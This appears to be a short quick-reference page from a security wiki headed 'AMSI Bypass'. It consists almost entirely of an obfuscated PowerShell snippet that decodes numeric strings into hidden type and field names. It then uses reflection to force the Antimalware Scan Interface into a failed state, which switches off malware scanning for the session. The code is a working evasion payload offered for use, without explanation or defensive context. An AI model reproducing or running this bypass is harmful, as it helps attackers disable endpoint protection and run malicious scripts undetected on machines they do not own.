πAMSI Bypass
Quick Reference for AMSI Bypass TTPs
$A="5492868772801748688168747280728187173688878280688776";
$B="8281173680867656877679866880867644817687416876797271";
function C($n, $m){[string]($n..$m|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " "};
$k=C 0 37;
$r=C 38 51;
$a=[Ref].Assembly.GetType($k);
$a.GetField($r,'NonPublic,Static').SetValue($null,$true);
Last updated
Was this helpful?